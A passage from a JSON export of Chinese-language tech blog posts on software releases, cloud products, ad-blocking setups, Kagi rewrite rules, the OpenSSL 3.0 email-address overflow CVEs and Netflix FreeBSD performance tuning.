    "body": "在 <a href=\"https://lwn.net/\">LWN</a> 看到 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 7.0.0 出了：「<a href=\"https://lwn.net/Articles/910833/\">VirtualBox 7.0.0 released</a>」，其中 Changelog 可以在「<a href=\"https://www.virtualbox.org/wiki/Changelog-7.0\">Changelog-7.0</a>」這邊翻到。\r\n\r\n<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 下的更新還算方便，先把 VM 都關掉，移除 <code>virtualbox-6.1</code> 後再裝 <code>virtualbox-7.0</code>，然後把 VM 開起來看看有沒有什麼問題。\r\n\r\n在 Changelog 裡面看到這個，這些 3D support 不知道有支援到什麼程度：\r\n\r\n<blockquote>Devices: Implemented new 3D support based on DirectX 11 (and DXVK on non Windows hosts)</blockquote>\r\n\r\n我把 Enable 3D Acceleration 的選項打開後變成只能跑 1600x1200，本來 1920x1200 不能跑，所以只好又關掉...\r\n\r\n另外是支援了 virtual TPM 可以掛進去：\r\n\r\n<blockquote>Devices: Added virtual TPM 1.2 and 2.0 devices</blockquote>\r\n\r\n然後以前 USB 裝置的支援是 proprietary software，現在放到 open source 版本裡面了：\r\n\r\n<blockquote>Devices: The EHCI and XHCI USB controller devices are now part of the open source base package</blockquote>\r\n\r\n目前用起來沒什麼大問題，繼續觀察看看。",
    "title": "VirtualBox 7.0.0 出了"
  },
  {
    "id": "10924",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 自家研發晶片的 <code>trn1.*</code> 上線了：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-ec2-trn1-instances-for-high-performance-model-training-are-now-available/\">Amazon EC2 Trn1 Instances for High-Performance Model Training are Now Available</a>」。\r\n\r\n先前三家雲端的廠商只有 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 有 <a href=\"https://cloud.google.com/tpu\">TPU</a> 可以 train &amp; evaluate，現在 AWS 推出 <a href=\"https://aws.amazon.com/machine-learning/trainium/\">AWS Trainium</a>，補上 train 這塊的產品。其中官方宣稱可以比 GPU 架構少 50% 的計算成本：\r\n\r\n<blockquote>Trainium-based EC2 Trn1 instances solve this challenge by delivering faster time-to-train while offering up to 50% cost-to-train savings over comparable GPU-based instances.</blockquote>\r\n\r\n然後 <a href=\"https://pytorch.org/\">PyTorch</a> 與 <a href=\"https://www.tensorflow.org/\">TensorFlow</a> 都有支援：\r\n\r\n<blockquote>The Neuron plugin natively integrates with popular ML frameworks, such as PyTorch and TensorFlow.</blockquote>\r\n\r\n另外用 <code>neuron-ls</code> 可以看到 Neuron 裝置的資訊，不過沒看懂為什麼要 mask 掉 private ip 的資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Jlp7Q7Z.webp\" /><img src=\"https://i.gslin.com/imgur/Jlp7Q7Z.png\" alt=\"\" /></picture>\r\n\r\n大型的 cluster 會使用 <a href=\"https://aws.amazon.com/fsx/lustre/\">Amazon FSx for Lustre</a> 整合提供服務：\r\n\r\n<blockquote>For large-scale model training, Trn1 instances integrate with Amazon FSx for Lustre high-performance storage and are deployed in EC2 UltraClusters. EC2 UltraClusters are hyperscale clusters interconnected with a non-blocking petabit-scale network.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IyMFZT3.webp\" /><img src=\"https://i.gslin.com/imgur/IyMFZT3.png\" alt=\"\" /></picture>\r\n\r\n但第一波開放的區域有點少，只有萬年美東一區 <code>us-east-1</code> 與美西二區 <code>us-west-2</code>：\r\n\r\n<blockquote>You can launch Trn1 instances today in the AWS US East (N. Virginia) and US West (Oregon) Regions as On-Demand, Reserved, and Spot Instances or as part of a Savings Plan.</blockquote>\r\n\r\n在 <code>us-east-1</code> 上 <code>trn1.2xlarge</code> 的價錢是 US$1.34375/hr，但沒有實際跑過比較好像沒辦法評估到底行不行...\r\n\r\n但總算是擺出個產品對打看看，畢竟要夠大才能去訂製這些東西。",
    "title": "Amazon EC2 的 Trn1 正式開放使用"
  },
  {
    "id": "10925",
    "body": "如果不用 <a href=\"https://pi-hole.net/\">Pi-hole</a> 這種套件的話，從頭自己搞差不多就是這樣：「<a href=\"https://www.tumfatig.net/2022/ads-blocking-with-openbsd-unbound8/\">Ads blocking with OpenBSD unbound(8)</a>」。\r\n\r\n作者除了阻擋的必要功能部份以外，還把 log 導出來丟進 <a href=\"https://en.wikipedia.org/wiki/InfluxDB\">InfluxDB</a>，透過 <a href=\"https://grafana.com/\">Grafana</a> 可以看狀態，這類似於 Pi-hole 提供的方案：\r\n\r\n<blockquote>Grafana to render the statistics ;\r\nInfluxDB to store the information ;\r\nsyslogd(8) and awk(1) to turn DNS queries into statistics ;\r\ncollectd(1) and shell script to store unbound statistics and logs ;\r\nunbound(8) and shell script to get and block DNS queries.</blockquote>\r\n\r\n對應的 diagram 長這樣 (但為什麼作者要用 <a href=\"https://en.wikipedia.org/wiki/Comic_Sans\">comic sans</a> 呢...)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/U1uavlS.webp\" /><img src=\"https://i.gslin.com/imgur/U1uavlS.png\" alt=\"\" /></picture>\r\n\r\n瀏覽器可以用 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 這類方案來做，可以擋的更細緻，而手機 app 一般就只能靠這種方法過濾掉部份的廣告。\r\n\r\n如果想要擋更多的話 (像是只擋某個 url，而不是整個 domain)，得用自建的 root CA 加上 <a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\">MITM</a> 的方式攔 <a href=\"https://en.wikipedia.org/wiki/HTTPS\">HTTPS</a> 連線，這通常都是在手機上面跑 virtual VPN，像是 <a href=\"https://www.apple.com/ios/\">iOS</a> 上的 <a href=\"https://apps.apple.com/us/app/surge-5/id1442620678\">Surge 5</a> 或是 <a href=\"https://apps.apple.com/us/app/quantumult-x/id1443988620\">Quantumult X</a>。",
    "title": "自己從頭搞整套 Pi-hole 方案 (DNS 阻擋廣告的方案)"
  },
  {
    "id": "10926",
    "body": "<a href=\"https://www.pyston.org/\">Pyston</a> 專案是一個想要提供更快速的 <a href=\"https://www.python.org/\">Python</a>，而前陣子決定改變開發的方向：「<a href=\"https://blog.pyston.org/2022/09/29/announcing-3-7-3-10-support-and-a-new-direction/\">Announcing 3.7-3.10 support and a new direction</a>」。\r\n\r\n本來的 Pyston-full 是直接修改 CPython 的 codebase 加速：\r\n\r\n<blockquote>Our original product, which we’re retroactively calling Pyston-full, is a fork of the entire CPython codebase. Having users install a fully-custom version of Python lets us make changes across the Python implementation, leading to the most optimizations and largest speedups.</blockquote>\r\n\r\n但這種方式的安裝與維護都需要另外搞，而且因為 ABI 不相容的問題，遇到一些套件可能會需要自己編 (甚至自己改？)，不能直接用編好的 binary：\r\n\r\n<blockquote>The flip side is that it is fairly intensive to set up. While we believe Pyston-full is one of the most highly-compatible alternative Python implementations available, it can be difficult to switch Python implementations regardless of the ease of use of either implementation. Compounded on this, we decided to break the ABI which requires users to recompile extension modules. In theory this is not a big deal, but in practice the lack of available binary packages is a significant disincentive to use an alternative implementation.</blockquote>\r\n\r\n這樣雖然有 30% 的效能提昇，但對使用者的吸引力不高，所以打算要轉變方向，讓使用者更容易使用，這也是決定發展可以用 <a href=\"https://pip.pypa.io/\">pip</a> 安裝的 Pyston-lite 版本：\r\n\r\n<blockquote>The sum of all of this was that while we were very happy to achieve a 30% speedup with Pyston-full, it was very difficult to get people to start using it. We decided to try a different form factor: a pip-installable extension module called Pyston-lite.</blockquote>\r\n\r\n但效能的提昇就不像 Pyston-full 這麼高，Pyston-lite 只剩下 10% 了：\r\n\r\n<blockquote>So while it’s a bit difficult to accept that we are now providing a 10% speedup instead of 30%, we’ve decided that it’s much more important to provide something that people are willing to use.</blockquote>\r\n\r\n另外在文末有列出各版本的效能提昇 (與 CPython 3.8 比較)，可以看到 CPython 3.11rc2 的提昇其實跟 Pyston-lite 差不多，除非 Pyston-lite 可以把效能疊加上去，不然就有點尷尬了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jGlHTnH.webp\" /><img src=\"https://i.gslin.com/imgur/jGlHTnH.png\" alt=\"\" /></picture>\r\n\r\n但 Pyston 要支援 3.11 看起來會花不少功夫：\r\n\r\n<blockquote>In the longer-term future we are planning to submit our JIT upstream as well, but we expect retargeting it to 3.11 to be significantly more work than the other versions due to the extensive amount of changes that were made to the interpreter in that version.</blockquote>\r\n\r\n不過手上一些既有的東西好像可以掛上去測看看...",
    "title": "Pyston 改變方向，將主推模組載入的方式使用"
  },
  {
    "id": "10927",
    "body": "看到「<a href=\"https://github.com/rubenvannieuwpoort/reals\">A lightweight python3 library for arithmetic with real numbers.</a>」這個有趣的 <a href=\"https://www.python.org/\">Python</a> 延伸套件，可以用他進行高精度的實數運算...\r\n\r\n一開始在 Python 3.9 環境裝，結果就跳出需要 3.10+ 的環境，想了一下，開了一個 <a href=\"https://www.docker.com/\">Docker</a> container 裝 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 來測，測過以後覺得還蠻有趣的，看起來之後把預設環境變成 3.10+ 應該會裝起來用...\r\n\r\n這個 reals 的重點在於保證顯示數字的正確性：\r\n\r\n<blockquote>It allows you to compute approximations to an arbitrary degree of precision, and, contrary to most other libraries, guarantees that all digits it displays are correct.</blockquote>\r\n\r\n目前支援的常數與操作有這些：\r\n\r\n<blockquote>Constants: pi, e, phi\r\nFunctions related to powers: sqrt, exp, log\r\nOperators: negation, addition, subtraction, multiplication, division, powers\r\nTrigonometric functions: sin, sinh, csc, csch, cos, cosh, sec, sech, tan, tanh, cot, coth</blockquote>\r\n\r\n用法的部份，先把 <code>reals</code> 拉進來：\r\n\r\n<pre>&gt;&gt;&gt; from reals import sqrt</pre>\r\n\r\n然後用法算直覺：\r\n\r\n<pre>&gt;&gt;&gt; sqrt2 = sqrt(2)\r\n&gt;&gt;&gt; sqrt2\r\n&lt;reals._real.Real object at 0x10d182560 (approximate value: 1.41421)&gt;</pre>\r\n\r\n<pre>&gt;&gt;&gt; sqrt2.evaluate(10)\r\n'1.4142135624'\r\n&gt;&gt;&gt; '{:.10f}'.format(sqrt2)\r\n'1.4142135624'\r\n&gt;&gt;&gt; sqrt2.to_decimal(10)\r\nDecimal('1.4142135624')</pre>\r\n\r\n不過作者有提到效能沒有處理到很好，所以應該是拿來快速做一些運算得到結果而已。",
    "title": "Python 上的 reals 套件 (需要 3.10+ 以上才能裝)"
  },
  {
    "id": "10929",
    "body": "<a href=\"https://www.starlink.com/\">Starlink</a> 推出新的產品線 <a href=\"https://www.starlink.com/aviation\">Starlink Aviation</a>，預定在 2023 年推出：\r\n\r\n<blockquote>High-speed, low-latency, in-flight internet with connectivity across the globe. Reserve now with deliveries starting in 2023.</blockquote>\r\n\r\n客群看起來是航空公司 (或是私人飛機的機主)，而非一般人。每一台飛機可以提供 350Mbps 的頻寬：\r\n\r\n<blockquote>Starlink can deliver up to 350 Mbps to each plane, enabling all passengers to access streaming-capable internet at the same time.</blockquote>\r\n\r\n所以看起來是要跟現在在飛機上的 internet 服務競爭，如果要用玩的話大概是看看哪家航空公司採用，不然就是得自己買飛機了 (?)...",
    "title": "Starlink 再開一條產品線 Aviation"
  },
  {
    "id": "10930",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://palette.fm/\">Palette</a> 這個服務，作者在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有提到你可以提供一些句子調整顏色：「<a href=\"https://news.ycombinator.com/item?id=33261494\">Show HN: I made a new AI colorizer (palette.fm)</a>」。\r\n\r\n<blockquote>Hi HN, I’m Emil, the maker behind Palette. I’ve been tinkering with AI and colorization for about five years. This is my latest colorization model. It’s a text-based AI colorizer, so you can edit the colorizations with natural language. To make it easier to use, I also automatically create captions and generate filters.</blockquote>\r\n\r\n作者有把一些作品貼在 <a href=\"https://www.reddit.com/\">Reddit</a> 上面，可以參考 <a href=\"https://www.reddit.com/user/emilwallner/?sort=top\">https://www.reddit.com/user/emilwallner/?sort=top</a> 這邊，看起來已經有一陣子了...",
    "title": "可以自己調整的黑白照片上色服務"
  },
  {
    "id": "10931",
    "body": "八月的時候提到了 <a href=\"https://www.heroku.com/\">Heroku</a> 要開始淘汰掉免費方案 (參考「<a href=\"https://blog.gslin.org/archives/2022/08/26/10857/heroku-%e5%85%ac%e4%bd%88%e4%ba%86%e5%bb%a2%e6%ad%a2%e5%85%8d%e8%b2%bb%e6%96%b9%e6%a1%88%e7%9a%84%e6%99%82%e9%96%93%e8%a1%a8/\">Heroku 公佈了廢止免費方案的時間表</a>)，其中第一波的時間差不多要到了，也就是沒在用的帳號會先在 2022/10/26 開始拔。\r\n\r\n在「<a href=\"https://github.com/Engagespot/heroku-free-alternatives\">Heroku Free Alternatives</a>」這邊則是有人整理的各家的替代方案，除了先前提到的 <a href=\"https://fly.io/\">Fly.io</a> 以外，<a href=\"https://render.com/\">Render</a> 也是個有聲量的方案。\r\n\r\n裡面還蠻多沒聽過的，可以找時間看一下有沒有什麼特別的功能...",
    "title": "Heroku 的替代方案"
  },
  {
    "id": "10932",
    "body": "<a href=\"https://kagi.com/\">Kagi</a> 在上個禮拜推出了 url rewrite 的功能，可以把搜尋結果裡面的網址換掉：(在「<a href=\"https://kagi.com/changelog\">Changelog</a>」這邊可以看到)\r\n\r\n<blockquote>Rewrite rules for domains - ability to e.g. translate \"reddit.com\" into \"old.reddit.com\" #158 @TeMPOraL</blockquote>\r\n\r\n這個功能其實也可以在瀏覽器上用 extension 或是 userscript 處理掉 (跨機器可以透過瀏覽器的 cloud sync 來做)，但目前應該還沒有這樣的東西，得自己寫一個出來。\r\n\r\n範例提到把 <a href=\"https://reddit.com/\">reddit.com</a> 換成 <a href=\"https://old.reddit.com/\">old.reddit.com</a> 這種用法算是社群蠻常用的 (大家都不愛新版界面)，不過我自己是把 <code>*.m.wikipedia.org</code> 轉成 <code>*.wikipedia.org</code>，這邊有多做一些事情，下面一條會提到：\r\n\r\n<pre>^https://([a-z]+)\\.m\\.wikipedia\\.org/[-a-z]*/(.*)|https://$1.wikipedia.org/wiki/$2\r\n</pre>\r\n\r\n不難看出來是吃 <a href=\"https://en.wikipedia.org/wiki/Regular_expression\">regular expression</a>，只是官方好像沒有特別說支援到哪種類型？(POSIX 系列或是 PCRE 類的，可以加減參考 <a href=\"https://en.wikibooks.org/\">Wikibooks</a> 上「<a href=\"https://en.wikibooks.org/wiki/Regular_Expressions\">Regular Expressions</a>」這邊的分類)\r\n\r\n我另外一個 rule 是把維基百科有語言代碼的 <code>https://zh.wikipedia.org/zh-*/</code> 轉成 <code>https://zh.wikipedia.org/wiki/</code>：\r\n\r\n<pre>^https://zh\\.wikipedia\\.org/zh-([a-z]*)/(.*)|https://zh.wikipedia.org/wiki/$2</pre>\r\n\r\n這樣做的缺點是會出現兩個，可以看到第一個被轉了以後會出現一個小 icon，移上去可以看到是被哪個 rule 轉的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WZkw5zP.webp\" /><img src=\"https://i.gslin.com/imgur/WZkw5zP.png\" alt=\"\" /></picture>",
    "title": "Kagi 的 url rewrite"
  },
  {
    "id": "10934",
    "body": "先前 <a href=\"https://kagi.com/\">Kagi</a> 限制只有註冊的使用者可以搜尋，但這次更新可以分享結果了 (在 <a href=\"https://kagi.com/changelog\">Changelog</a> 上可以看到)：\r\n\r\n<blockquote>Enable sharing of search results pages with people who lack a Kagi account #23 @ivan</blockquote>\r\n\r\n這邊連結的是「<a href=\"https://kagifeedback.org/d/23-enable-sharing-of-search-results-pages-with-people-who-lack-a-kagi-account\">Enable sharing of search results pages with people who lack a Kagi account</a>」這個功能，看起來也算是個推銷其他人用 Kagi 的功能，所以就被做出來了。\r\n\r\n我用無痕模式模擬沒有登入的情況，測了「<a href=\"https://kagi.com/search?q=kalafina&amp;r=tw&sh=H8jsrCuq25mhabmfkQRDhQ\">Kalafina</a>」這個關鍵字，確認可以看到這頁的結果了。",
    "title": "Kagi 可以分享搜尋結果了"
  },
  {
    "id": "10935",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Colin_Percival\">Colin Percival</a> 讓 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 能夠支援 <a href=\"https://en.wikipedia.org/wiki/Firecracker_(software)\">Firecrack</a>：「<a href=\"https://www.daemonology.net/blog/2022-10-18-FreeBSD-Firecracker.html\">Announcing the FreeBSD/Firecracker platform</a>」，成為 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>、<a href=\"https://en.wikipedia.org/wiki/OSv\">OSv</a> 以外的第三個支援的作業系統。對應的 patch 在「<a href=\"https://cgit.freebsd.org/src/commit/?id=469ad8603127bf8fea094d47223ccb3d0a3481cd\">amd64: Add FIRECRACKER kernel configuration</a>」這邊可以看到。\r\n\r\n接下來是反過來，要送一些 patch 進去 Firecracker，讓他支援 FreeBSD：\r\n\r\n<blockquote>Now that FreeBSD supported Firecracker, there was one more thing to do: Make Firecracker support FreeBSD.</blockquote>\r\n\r\n看起來是基於之前在 2020 年的 patch (但當時沒被整進去) 再修改：\r\n\r\n<blockquote>Alejandro Jimenez <a href=\"https://github.com/firecracker-microvm/firecracker/pull/1818\">contributed patches</a> two years ago, but they were never merged. Some of his code ended up in the linux-loader project (which Firecracker uses); but I spent a few weeks digging through his thousand lines of changes to figure out which went into linux-loader, which still applied cleanly to Firecracker, and which I had to rewrite from scratch — a task made more difficult by the fact that Firecracker is written in Rust, and I had never used Rust before! Nevertheless, I was eventually successful, and opened a <a href=\"https://github.com/firecracker-microvm/firecracker/pull/3155\">PR</a> with updated patches which I hope to see merged into mainline Firecracker in the upcoming weeks.</blockquote>\r\n\r\n看起來兩邊都有 patch 要做才能支援，目前看起來 Firecracker 這邊沒動作了，大概是沒什麼動力...",
    "title": "FreeBSD 的 Firecracker 支援"
  },
  {
    "id": "10936",
    "body": "<a href=\"https://www.reddit.com/\">Reddit</a> 上的原文在「<a href=\"https://old.reddit.com/r/homelab/comments/ydollm/comment/ittgzsq/\">So I got a Netflix cache server...</a>」這邊，但看起來作者自己刪掉內容了 (可能是被接觸要求刪掉？)，可以看 <a href=\"https://web.archive.org/\">Internet Archive</a> 上的「<a href=\"https://web.archive.org/web/20221026080226/https://www.reddit.com/r/homelab/comments/ydollm/comment/ittgzsq/\">20221026080226</a>」，以及報導「<a href=\"https://www.vice.com/en/article/k7bkev/how-a-redditor-ended-up-with-an-industrial-grade-netflix-server\">How a Redditor Ended Up With an Industrial-Grade Netflix Server</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aUHvOIc.webp\" /><img src=\"https://i.gslin.com/imgur/aUHvOIc.jpg\" alt=\"\" /></picture>\r\n\r\n所以是 <a href=\"https://www.netflix.com/\">Netflix</a> 退役的機器，看起來適合法取得的？\r\n\r\n<blockquote>I work for a large ISP, and we are retiring/replacing quite a few 2013 era Netflix OCA caches, and I was offered one. Of course, I couldn't say no ?</blockquote>\r\n\r\n資料當然是被清過的：\r\n\r\n<blockquote>I knew that Netflix had wiped them all in the decommissioning process, that they ran FreeBSD, that they were crammed full of drives, and that's about it.</blockquote>\r\n\r\n然後這台 2013 年的機器以現在的角度來看也算很大台，尤其是看到硬碟的部份是 36 顆 <a href=\"https://en.wikipedia.org/wiki/HGST\">HGST</a> 的 7.2TB 硬碟：\r\n\r\n<blockquote>36x 7.2TB 7200RPM HGST's</blockquote>\r\n\r\n再加上 4 個 10Gbps 的界面可以接：\r\n\r\n<blockquote>One 4x 10G SFP+ NIC</blockquote>\r\n\r\n作者後來裝了 <a href=\"https://www.truenas.com/\">TrueNAS</a> 來用，就這些規格資料看起來的確是個很適合當 NAS：\r\n\r\n<blockquote>I expected some resistance when trying to install an OS, but it was already set to boot from USB and took a TrueNAS install like a champ!</blockquote>\r\n\r\n但不確定會吃多少電，放在家裡用還是得考慮這點... 不然就是當紀念品收起來。",
    "title": "Netflix 在 2013 年 Open Connect Appliances"
  },
  {
    "id": "10937",
    "body": "看到「<a href=\"https://www.isc.org/blogs/isc-dhcp-eol/\">ISC DHCP Server has reached EOL</a>」這個，月初的時候 <a href=\"https://www.isc.org/\">ISC</a> 宣佈了 <a href=\"https://en.wikipedia.org/wiki/End-of-life_product\">EoL</a>，除非有嚴重的安全性問題冒出來，不然官方打算停止維護了：\r\n\r\n<blockquote>The 4.4.3-P1 and 4.1-ESV-R16-P2 versions of ISC DHCP, released on October 5, 2022, are the last maintenance versions of this software that ISC plans to publish. If we become aware of a significant security vulnerability, we might make an exception to this, but it is our intention to cease actively maintaining this codebase.</blockquote>\r\n\r\nISC 則是在推 <a href=\"https://www.isc.org/kea/\">Kea</a>：\r\n\r\n<blockquote>Network and system administrators deploying DHCP in new environments should look beyond ISC DHCP for a solution, as it would be irresponsible to invest in new deployments of this software which is now end-of-life. Naturally, ISC suggests new users consider our Kea DHCP server, but there are alternatives.</blockquote>\r\n\r\n從維基百科上的「<a href=\"https://en.wikipedia.org/wiki/Comparison_of_DHCP_server_software\">Comparison of DHCP server software</a>」這頁可以看到目前 DHCP server 的選擇。最直接的差異是，其他非 ISC 的全部都是 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a>，只有 ISC 的是 non-GPL。\r\n\r\n不過一般不太會自己架 DHCP server，大多是用設備內建裝的跑，以後如果有機會要裝的話，也許得去熟悉 Kea 了...",
    "title": "ISC DHCPD 要 EoL"
  },
  {
    "id": "10938",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2022/03/13/10592/%e6%8a%8a-sqlite-%e7%9a%84-vfs-%e6%8e%9b%e4%b8%8a-webtorrent-%e7%9a%84-poc-demo/\">把 SQLite 的 VFS 掛上 WebTorrent 的 PoC Demo</a>」有提過 <a href=\"https://github.com/sql-js/sql.js\">sql.js</a> 這個專案，把 <a href=\"https://sqlite.org/\">SQLite</a> 移植到網頁上，這些都算是非官方的社群弄出來的專案。\r\n\r\n現在官方直接跳下來玩，宣佈自己也要搞 WASM/JS 了：「<a href=\"https://sqlite.org/wasm/doc/tip/about.md\">sqlite3 wasm docs: About the sqlite3 WASM/JS Subproject</a>」。\r\n\r\n<blockquote>Folks have been building sqlite3 for the web since as far back as 2012 but this subproject is the first effort \"officially\" associated with the SQLite project, created with the goal of making WASM builds of the library first-class members of the family of supported SQLite deliverables.</blockquote>\r\n\r\n但不太確定 <a href=\"https://en.wikipedia.org/wiki/D._Richard_Hipp\">D. Richard Hipp</a> 的想法，官方支援 WASM/JS 的目的會是什麼？放給社群繼續發展有什麼問題嗎...",
    "title": "SQLite 官方自己下來搞 WASM/JS 計畫"
  },
  {
    "id": "10939",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 Jeff Barr 提到 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html\">Elastic IP</a> 可以轉移到不同帳號下了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">This is a new &amp; very helpful feature for <a href=\"https://twitter.com/hashtag/AWS?src=hash&amp;ref_src=twsrc%5Etfw\">#AWS</a> VPCs: Transfer of Elastic IP Addresses Between AWS Accounts:<br><br>?What&#39;s New - <a href=\"https://t.co/ex0eFvMFEX\">https://t.co/ex0eFvMFEX</a><br><br>?Docs - <a href=\"https://t.co/OZGa3s1IxW\">https://t.co/OZGa3s1IxW</a> <a href=\"https://t.co/RiuGTAkOMB\">pic.twitter.com/RiuGTAkOMB</a></p>&mdash; Jeff Barr ☁️ (@ ? ) ? (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/1587536608622174208?ref_src=twsrc%5Etfw\">November 1, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n公告在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/10/amazon-virtual-private-cloud-vpc-transfer-elastic-ip-addresses-between-aws-accounts/\">Amazon Virtual Private Cloud (VPC) now supports the transfer of Elastic IP addresses between AWS accounts</a>」這邊：\r\n\r\n<blockquote>Today, we are announcing Elastic IP transfer, a new Amazon VPC feature that allows you to transfer your Elastic IP addresses from one AWS Account to another, making it easier to move Elastic IP addresses during AWS Account restructuring. </blockquote>\r\n\r\n這點在架構的 refactoring 上會有蠻大的幫助，遇到鎖 IP address 的金流系統就不會被這點卡住了，以前得重新掛新的 IP 進去白名單...",
    "title": "Elastic IP 可以轉移了"
  },
  {
    "id": "10940",
    "body": "<a href=\"https://www.openssl.org/\">OpenSSL</a> 居然出了一包 <a href=\"https://en.wikipedia.org/wiki/Remote_code_execution\">RCE</a>：「<a href=\"https://www.openssl.org/blog/blog/2022/11/01/email-address-overflows/\">CVE-2022-3786 and CVE-2022-3602: X.509 Email Address Buffer Overflows</a>」，security advisory 在「<a href=\"https://www.openssl.org/news/secadv/20221101.txt\">OpenSSL Security Advisory [01 November 2022]</a>」這邊。\r\n\r\n看第一個 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3602\">CVE-2022-3602</a>，本來看到這個 <a href=\"https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures\">CVE</a> 號碼為覺得應該是年初的號碼 (現在已經三萬多了？)，但依照官方的說法是十月的事情，看起來是用假名回報 (Polar Bear)：\r\n\r\n<blockquote>This issue was reported to OpenSSL on 17th October 2022 by Polar Bear.\r\nThe fixes were developed by Dr Paul Dale.</blockquote>\r\n\r\n在 CVE 的頁面上也可以看到「Date Record Created」這邊標的是 20221019，不知道是什麼情況。\r\n\r\n另外一組 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3786\">CVE-2022-3786</a> 也是類似的情況，官方收到也是十月的事情：\r\n\r\n<blockquote>This issue was discovered on 18th October 2022 by Viktor Dukhovni while\r\nresearching CVE-2022-3602. The fixes were developed by Dr Paul Dale.</blockquote>\r\n\r\n在 CVE 頁面上則是標 20221101 建立，昨天的事情。\r\n\r\n這次出事的範圍是 3.0.0 系列的 OpenSSL，前面的 1.1 與 1.0 系列是沒中的：\r\n\r\n<blockquote>[T]he bugs were introduced as part of punycode decoding functionality (currently only used for processing email address name constraints in X.509 certificates). This code was first introduced in OpenSSL 3.0.0. OpenSSL 1.0.2, 1.1.1 and other earlier versions are not affected.</blockquote>\r\n\r\n<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上中的是 22.04 的 jammy 以及之後的版本，包括了 22.10 的 kinetic。還在用 20.04 的基本上都還是 1.1 系列的 OpenSSL 在跑，這次沒被貓到。",
    "title": "OpenSSL 3.0 RCE"
  },
  {
    "id": "10941",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.netflix.com/\">Netflix</a> 的人丟出來的投影片，試著了解 Netflix 的 <a href=\"https://openconnect.netflix.com/en/appliances/\">Open Connect Appliances</a> 裡與 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 相關的最佳化技巧對於效能的影響：「<a href=\"https://people.freebsd.org/~gallatin/talks/euro2022.pdf\">The “other” FreeBSD optimizations used by Netflix to serve video at 800Gb/s from a single server</a>」。\r\n\r\n看起來這邊的分析是先基於 400Gbps 的版本，可以跑到 375Gbps (53% CPU)，接著在上面拔掉各種最佳化的設定，看看會掉多少流量。這邊可以參考先前在「<a href=\"https://blog.gslin.org/archives/2021/09/20/10338/netflix-%E5%9C%A8%E5%96%AE%E6%A9%9F%E6%9C%8D%E5%8B%99-400gbps-%E7%9A%84%E5%BD%B1%E9%9F%B3%E6%B5%81%E9%87%8F/\">Netflix 在單機服務 400Gbps 的影音流量</a>」提到的資料。\r\n\r\n投影片上的第一章是 <a href=\"https://en.wikipedia.org/wiki/Sendfile\">sendfile</a> 與 kTLS 相關的最佳化，這邊可以看出來都是重要的項目，隨便關掉一個就會掉很多 capacity：\r\n\r\n<ul>\r\n\t<li>Disable kTLS (and async sendfile) + nginx aio：40Gbps (100% CPU)</li>\r\n\t<li>Disable kTLS (and async sendfile) + nginx thread pools：90Gbps (90% CPU)</li>\r\n\t<li>Disable sendfile (but use kTLS)：75Gbps (80% CPU)</li>\r\n\t<li>Disable sendfile (but use NIC kTLS)：95Gbps (80% CPU)</li>\r\n\t<li>Enable Sendfile &amp; kTLS, but disable ISA-L crypto：180Gbps (80% CPU)</li>\r\n\t<li>Enable Sendfile &amp; kTLS：240Gbps (80% CPU)</li>\r\n</ul>\r\n\r\n第二章是 virtual memory，UMA VM Page Cache 這邊看起來最明顯，SF_NOCACHE 也是個重要的項目：\r\n\r\n<ul>\r\n\t<li>Disable UMA VM Page Cache：60Gbps (95% CPU)</li>\r\n\t<li>Disable VM Batch Queues：280Gbps (95% CPU)</li>\r\n\t<li>Disable SF_NOCACHE：120Gbps (55% CPU)</li>\r\n</ul>\r\n\r\n另外第二章特別提到了一個之前沒有用到的 optimization，是把 arm64 上面的 4KB Pages 變成 16KB Pages，這帶動了些許的效能提昇，並且降低了 CPU 使用率：\r\n\r\n<blockquote>345Gb/s @ 80% CPU -&gt; 368Gb/s @ 66% CPU</blockquote>\r\n\r\n第三章是 network stack，看起來 <a href=\"https://en.wikipedia.org/wiki/TCP_segmentation_offloading\">TSO</a> 帶來的效益也是很高：\r\n\r\n<ul>\r\n\t<li>Disable TCP Large Receive Offload：330Gbps (65% CPU)</li>\r\n\t<li>Disable RSS accelerated LRO：365Gbps (70% CPU)</li>\r\n\t<li>TSO Disabled：180Gbps (85% CPU)</li>\r\n\t<li>Disable TSO and LRO：170Gbps (85% 